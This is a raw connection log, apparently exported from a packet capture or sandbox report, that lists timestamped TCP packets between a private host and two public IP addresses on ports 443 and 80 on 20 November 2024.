Nov 20, 2024 17:18:26.928051949 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.928097963 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.928150892 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.930804968 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:44.005593061 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:44.187542915 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:44.187637091 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:44.187983036 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:44.307574987 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.308274031 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.308440924 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.308454990 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.308470011 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.308486938 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.308501959 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.308516979 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.308532000 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.308578968 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.308590889 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.308609009 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.308715105 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.430066109 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.430208921 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.430288076 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.434246063 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.484601974 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.498064995 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.498226881 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.498286009 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.500405073 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.500585079 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.500637054 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.509012938 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.509031057 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.509078026 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.517292023 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.517477989 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.517529964 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.525767088 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.526113987 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.526170969 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.534275055 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.534430027 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.534492970 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.540684938 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.540848970 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.540910006 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.549242020 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.549460888 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.549518108 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.557451963 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.559675932 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.559730053 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.565881014 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.565918922 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.565984011 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.604346037 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.604800940 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.604882956 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.608417988 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.656485081 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.690958977 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.690980911 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.691153049 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.694156885 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.694360971 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.694437027 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.698384047 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.698402882 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.698462963 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.702375889 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.702394009 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.702464104 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.709373951 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.709515095 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.709568024 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.713248014 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.713447094 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.713504076 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.714020014 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.714704990 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.714761019 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.718712091 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.719037056 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.719094038 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.723334074 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.723479986 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.723644972 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.728043079 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.728080988 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.728146076 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.732275009 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.732386112 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.732525110 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.736888885 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.737627983 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.737690926 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.741611004 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.741959095 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.742017984 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.746362925 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.746403933 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.746462107 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.750821114 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.751430035 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.751533985 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.755253077 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.755448103 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.755503893 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.760018110 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.760381937 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.760451078 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.765571117 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.812860966 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.880832911 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.880911112 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.881000996 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.881685972 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.881855965 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.882033110 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.884861946 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.884915113 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.884995937 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.887876987 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.888534069 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.888612032 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.890943050 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.891355991 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.891431093 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.894073963 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.894407034 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.894570112 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.897211075 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.897988081 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.898068905 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.900300980 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.900736094 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.900849104 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.905033112 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.905050039 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.905113935 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.907402039 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.907567978 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.907648087 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.910747051 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.910861969 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.910934925 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.913603067 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.914293051 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.914647102 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.916784048 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.917095900 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.917165995 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.919075966 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.919131041 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.919203043 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.922115088 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.922163010 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.922236919 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.925183058 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.925539017 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.925623894 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.928383112 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.929379940 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.929433107 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.931514978 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.931840897 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.931979895 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.934468031 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.934597969 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.934693098 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.937676907 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.938040972 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.938258886 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.940774918 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.940998077 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.941054106 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.943895102 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.943974018 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.944047928 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.946995020 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.947331905 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.947463989 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.950103045 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.951332092 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.951389074 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.953159094 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.953577042 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.953708887 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.956259966 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.956756115 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:45.956836939 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:45.959364891 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.000308990 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.072866917 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.072988987 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.073060036 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.074237108 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.074419975 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.074491024 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.077028990 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.078005075 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.078243017 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.078372955 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.083213091 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.083230019 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.083261967 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.084800005 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.084849119 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.085053921 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.087208986 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.087260008 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.087548971 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.089786053 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.089802027 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.089849949 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.093199015 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.093256950 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.093369007 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.095645905 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.095663071 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.095710993 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.097763062 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.097875118 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.098090887 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.100651026 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.100667953 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.100725889 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.103161097 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.103214025 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.103338003 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.105498075 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.105549097 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.105916023 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.108210087 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.108258963 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.108762980 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.110723019 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.110810041 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.111388922 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.113176107 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.113217115 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.113354921 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.115900040 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.116069078 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.116214037 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.119203091 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.119239092 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.119344950 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.119941950 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.120001078 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.120090008 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.122385025 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.122576952 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.122761965 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.124900103 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.125022888 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.125078917 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.131699085 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.131736040 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.131844997 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.133671999 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.133728981 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.134008884 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.136486053 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.136523008 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.136571884 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.138967991 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.139089108 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.139116049 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.141526937 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.141694069 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.142189980 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.144081116 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.144157887 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.144407988 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.146775007 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.146877050 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.147300005 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.149497986 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.149533033 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.149550915 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.151866913 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.151967049 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.152216911 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.154274940 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.154344082 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.154362917 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.157083988 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.157119989 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.157228947 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.157242060 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.157285929 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.157401085 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.160356998 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.160429955 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.160471916 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.162333012 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.162369013 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.162388086 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.164890051 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.164943933 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.165141106 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.167469025 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.167521000 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.167699099 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.170125008 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.170182943 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.170212984 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.172537088 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.172586918 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.172985077 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.174475908 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.174489021 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.174563885 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.176465034 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.176573992 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.176621914 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.179052114 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.179146051 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.179246902 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.181624889 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.181684017 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.181749105 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.184221029 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.184305906 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.184309006 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.186758995 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.186806917 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.186810970 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.189322948 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.189428091 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.189438105 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.191919088 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.191976070 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.192070961 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.194557905 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.194628000 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.194673061 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.197020054 CET	80	49765	192.3.220.29	192.168.2.7
